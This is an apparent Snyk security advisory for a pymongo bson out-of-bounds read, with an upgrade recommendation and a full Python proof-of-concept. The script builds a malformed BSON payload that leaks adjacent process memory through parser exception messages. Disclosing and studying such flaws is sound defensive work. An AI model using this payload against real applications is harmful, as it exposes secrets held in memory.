Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade pymongo
to version 4.6.3 or higher.
Affected versions of this package are vulnerable to Out-of-bounds Read in the bson
module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.
import bson
import struct
def function(length: int) -> bytes:
secret = b'X' * length
# variable 'secret' is deleted here but it's still stored in memory
def generate_payload(length: int) -> bytes:
string_size = length - 0x1e
return bytes.fromhex(
struct.pack('<I', length).hex() + # payload size
'0f' + # type "code with scope"
'3100' + # key (cstring)
'0a000000' + # c_w_s_size
'04000000' + # code_size
'41004200' + # code (cstring)
'feffffff' + # scope_size
'02' + # type "string"
'3200' + # key (cstring)
struct.pack('<I', string_size).hex() + # string size
'00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
)
def deserialize_payload(payload: bytes) -> None:
try:
obj = bson.decode(payload) # throws exception
print(obj) # unreachable code
except Exception as e:
print(e)
print('case 1: leak the printable string')
# uses secret internally
function(0x50 + 0x0F)
# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)
print('\n case 2: leak some non-printable bytes')
for i in range(5):
# payload could be read from stdin or similar
payload = generate_payload(0x54f + i)
deserialize_payload(payload)